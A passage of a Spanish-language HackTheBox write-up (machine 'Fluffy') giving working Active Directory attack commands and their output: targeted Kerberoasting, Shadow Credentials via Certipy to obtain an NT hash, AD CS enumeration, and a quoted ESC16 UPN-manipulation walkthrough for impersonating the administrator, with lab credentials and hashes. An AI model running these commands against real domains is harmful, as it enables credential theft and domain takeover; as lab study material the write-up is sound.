&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bloodyAD -u &lt;span style="color:#e6db74"&gt;&amp;#39;p.agila&amp;#39;&lt;/span&gt; -p &lt;span style="color:#e6db74"&gt;&amp;#39;prometheusx-303&amp;#39;&lt;/span&gt; -d fluffy.htb --host &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 add groupMember &lt;span style="color:#e6db74"&gt;&amp;#39;service accounts&amp;#39;&lt;/span&gt; p.agila
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="kerberoasting-dirigido-targetedkerberoast"&gt;Kerberoasting dirigido (targetedKerberoast)&lt;/h3&gt;
&lt;p&gt;Ahora uso &lt;a href="http://targetedkerberoast.py/"&gt;&lt;code&gt;targetedKerberoast.py&lt;/code&gt;&lt;/a&gt; para extraer hashes. Antes sincronizo reloj.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Fluffy/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# ntpdate fluffy.htb &amp;amp;&amp;amp; &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;targetedKerberoast.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -v -d &lt;span style="color:#e6db74"&gt;&amp;#39;fluffy.htb&amp;#39;&lt;/span&gt; -u &lt;span style="color:#e6db74"&gt;&amp;#39;p.agila&amp;#39;&lt;/span&gt; -p &lt;span style="color:#e6db74"&gt;&amp;#39;prometheusx-303&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56.676545&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;+0100&lt;/span&gt;) &lt;span style="color:#ae81ff"&gt;+25199.665597&lt;/span&gt; +/- &lt;span style="color:#ae81ff"&gt;0.037951&lt;/span&gt; fluffy.htb &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 s1 no-leap
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CLOCK&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; time stepped by &lt;span style="color:#ae81ff"&gt;25199.665597&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Starting kerberoast attacks
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Fetching usernames from Active Directory with LDAP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Printing hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (ca_svc)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$krb5tgs$23$*ca_svc$FLUFFY.HTB$fluffy.htb/ca_svc*$6b56d380186cf766215630dc2a4a2509$...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Printing hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (ldap_svc)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$krb5tgs$23$*ldap_svc$FLUFFY.HTB$fluffy.htb/ldap_svc*$170ab6e4fc848133b7b3af897c0300c2$...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Printing hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (winrm_svc)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$krb5tgs$23$*winrm_svc$FLUFFY.HTB$fluffy.htb/winrm_svc*$19c1771a343c902076eee1003cf0e4d5$...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Intento crackear, pero no saco nada útil.&lt;/p&gt;
&lt;h3 id="shadow-credentials-con-certipy"&gt;Shadow Credentials con Certipy&lt;/h3&gt;
&lt;p&gt;Cambio de enfoque y pruebo &lt;strong&gt;Shadow Credentials&lt;/strong&gt;. La idea aquí es modificar el atributo &lt;code&gt;msDS-KeyCredentialLink&lt;/code&gt; para poder autenticarse con PKINIT sin conocer la contraseña.&lt;/p&gt;
&lt;p&gt;Ejecuto:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ntpdate -u fluffy.htb &amp;amp;&amp;amp; certipy-ad shadow auto -username p.agila@fluffy.htb -password &lt;span style="color:#e6db74"&gt;&amp;#39;prometheusx-303&amp;#39;&lt;/span&gt; -account ca_svc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;18.579036&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;+0100&lt;/span&gt;) &lt;span style="color:#ae81ff"&gt;+25199.672015&lt;/span&gt; +/- &lt;span style="color:#ae81ff"&gt;0.024036&lt;/span&gt; fluffy.htb &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 s1 no-leap
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CLOCK&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; time stepped by &lt;span style="color:#ae81ff"&gt;25199.672015&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Certipy v4.8.2 - by Oliver Lyak (ly4k)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Targeting user &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Generating certificate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Certificate generated
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Generating Key Credential
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Key Credential generated with DeviceID &lt;span style="color:#e6db74"&gt;&amp;#39;224a33db-8f3b-e338-547f-7e9041c661cd&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Adding Key Credential with device ID &lt;span style="color:#e6db74"&gt;&amp;#39;224a33db-8f3b-e338-547f-7e9041c661cd&amp;#39;&lt;/span&gt; to the Key Credentials &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Successfully added Key Credential with device ID &lt;span style="color:#e6db74"&gt;&amp;#39;224a33db-8f3b-e338-547f-7e9041c661cd&amp;#39;&lt;/span&gt; to the Key Credentials &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Authenticating as &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt; with the certificate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Using principal&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; ca_svc@fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Trying to get TGT...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Got TGT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Saved credential cache to &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc.ccache&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Trying to retrieve NT hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[-] Got error&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Kerberos SessionError&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; KRB_AP_ERR_SKEW(Clock skew too great)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[-] Use -debug to print a stacktrace
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aunque aquí no saco el NT hash por el &lt;em&gt;clock skew&lt;/em&gt;, sí obtengo un TGT. Luego vuelvo atrás para corregir la parte de sincronización y generar el &lt;code&gt;.pfx&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ntpdate -u fluffy.htb &amp;amp;&amp;amp; certipy-ad shadow add -username p.agila@fluffy.htb -password &lt;span style="color:#e6db74"&gt;&amp;#39;prometheusx-303&amp;#39;&lt;/span&gt; -account ca_svc -dc-ip &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Targeting user &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Generating certificate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Certificate generated
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Generating Key Credential
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Key Credential generated with DeviceID &lt;span style="color:#e6db74"&gt;&amp;#39;50de2216-d7b5-75e9-0e19-555d205a9a10&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Adding Key Credential with device ID &lt;span style="color:#e6db74"&gt;&amp;#39;50de2216-d7b5-75e9-0e19-555d205a9a10&amp;#39;&lt;/span&gt; to the Key Credentials &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Successfully added Key Credential with device ID &lt;span style="color:#e6db74"&gt;&amp;#39;50de2216-d7b5-75e9-0e19-555d205a9a10&amp;#39;&lt;/span&gt; to the Key Credentials &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Saved certificate and private key to &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc.pfx&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con el &lt;code&gt;.pfx&lt;/code&gt; ya puedo pedir el hash NT:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ntpdate -u fluffy.htb &amp;amp;&amp;amp; certipy-ad auth -pfx ca_svc.pfx -dc-ip &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 -username ca_svc -domain fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[!] Could not find identification &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; the provided certificate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Using principal&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; ca_svc@fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Trying to get TGT...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Got TGT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Saved credential cache to &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc.ccache&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Trying to retrieve NT hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Got hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc@fluffy.htb&amp;#39;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; aad3b435b51404eeaad3b435b51404ee&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ca0f4f9e9eb8a092addf53bb03fc98c8
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A partir de aquí, asumo que tengo delante una infraestructura &lt;strong&gt;AD CS&lt;/strong&gt; (por la cuenta de servicio de CA).&lt;/p&gt;
&lt;h3 id="enumeración-ad-cs-y-detección-de-esc16"&gt;Enumeración AD CS y detección de ESC16&lt;/h3&gt;
&lt;p&gt;Busco plantillas/vulnerabilidades con Certipy:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;certipy-ad find -u &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt; -hashes &lt;span style="color:#e6db74"&gt;&amp;#39;:ca0f4f9e9eb8a092addf53bb03fc98c8&amp;#39;&lt;/span&gt; -dc-ip &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 -vulnerable -enabled -stdout
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [!] Vulnerabilities
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ESC16 &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Security Extension is disabled.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [*] Remarks
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ESC16 &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Other prerequisites may be required &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; this to
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;be exploitable. See the wiki &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; more details.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Certificate Templates &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; [!] Could not find any certificate templates
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aquí dejo el extracto de la wiki que estuve siguiendo para ESC16 (tal cual lo apunté):&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;“Exploitation with Certipy&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The exploitation mechanisms for ESC16 are identical to those for ESC9 because the end result - a certificate lacking the SID security extension - is the same. The important difference is that for ESC16, &lt;em&gt;any&lt;/em&gt; certificate template enabling client authentication and issued by this misconfigured CA can be used in the UPN manipulation attack, not just a template specifically flagged with &lt;code&gt;CT_FLAG_NO_SECURITY_EXTENSION&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Scenario A: UPN Manipulation (Requires&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;StrongCertificateBindingEnforcement = 1&lt;/code&gt;&lt;/strong&gt; &lt;strong&gt;(Compatibility) or&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;0&lt;/code&gt;&lt;/strong&gt; &lt;strong&gt;(Disabled) on DCs, and attacker has write access to a &amp;ldquo;victim&amp;rdquo; account&amp;rsquo;s UPN)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Attacker (&lt;code&gt;attacker@corp.local&lt;/code&gt;) has &lt;code&gt;GenericWrite&lt;/code&gt; permission over a &amp;ldquo;victim&amp;rdquo; account (&lt;code&gt;victim@corp.local&lt;/code&gt;). The &lt;code&gt;victim&lt;/code&gt; account can enroll in &lt;em&gt;any suitable client authentication template&lt;/em&gt; (e.g., the default &amp;ldquo;User&amp;rdquo; template) on the ESC16-vulnerable CA. The target for impersonation is &lt;code&gt;administrator@corp.local&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Read initial UPN of the victim account (Optional - for restoration).&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;certipy account \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -u &amp;#39;attacker@corp.local&amp;#39; -p &amp;#39;Passw0rd!&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -dc-ip &amp;#39;10.0.0.100&amp;#39; -user &amp;#39;victim&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; read
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Expected Output Snippet:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Certipy v5.0.0 - by Oliver Lyak (ly4k)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Reading attributes for &amp;#39;victim&amp;#39;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cn : Victim
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; userPrincipalName : victim@CORP.LOCAL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Update the victim account&amp;rsquo;s UPN to the target administrator&amp;rsquo;s&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;sAMAccountName&lt;/code&gt;****.&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;certipy account \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -u &amp;#39;attacker@corp.local&amp;#39; -p &amp;#39;Passw0rd!&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -dc-ip &amp;#39;10.0.0.100&amp;#39; -upn &amp;#39;administrator&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -user &amp;#39;victim&amp;#39; update
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Expected Output Snippet:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Certipy v5.0.0 - by Oliver Lyak (ly4k)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Updating user &amp;#39;victim&amp;#39;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; userPrincipalName : administrator
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Successfully updated &amp;#39;victim&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Step 3: (If needed) Obtain credentials for the &amp;ldquo;victim&amp;rdquo; account (e.g., via Shadow Credentials).&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;certipy shadow \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -u &amp;#39;attacker@corp.local&amp;#39; -p &amp;#39;Passw0rd!&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -dc-ip &amp;#39;10.0.0.100&amp;#39; -account &amp;#39;victim&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; auto
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Expected Output Snippet:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Certipy v5.0.0 - by Oliver Lyak (ly4k)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Saving credential cache to &amp;#39;victim.ccache&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Wrote credential cache to &amp;#39;victim.ccache&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] NT hash for &amp;#39;victim&amp;#39;: fc525c9683e8fe067095ba2ddc971889
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Request a certificate as the &amp;ldquo;victim&amp;rdquo; user from&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;any suitable client authentication template&lt;/strong&gt;&lt;/em&gt; &lt;strong&gt;(e.g., &amp;ldquo;User&amp;rdquo;) on the ESC16-vulnerable CA.&lt;/strong&gt; Because the CA is vulnerable to ESC16, it will automatically omit the SID security extension from the issued certificate, regardless of the template&amp;rsquo;s specific settings for this extension. Set the Kerberos credential cache environment variable (shell command):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;export KRB5CCNAME=victim.ccache
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then request the certificate:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;certipy req \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -k -dc-ip &amp;#39;10.0.0.100&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -target &amp;#39;CA.CORP.LOCAL&amp;#39; -ca &amp;#39;CORP-CA&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -template &amp;#39;User&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Expected Output Snippet:&lt;/strong&gt;&lt;/p&gt;
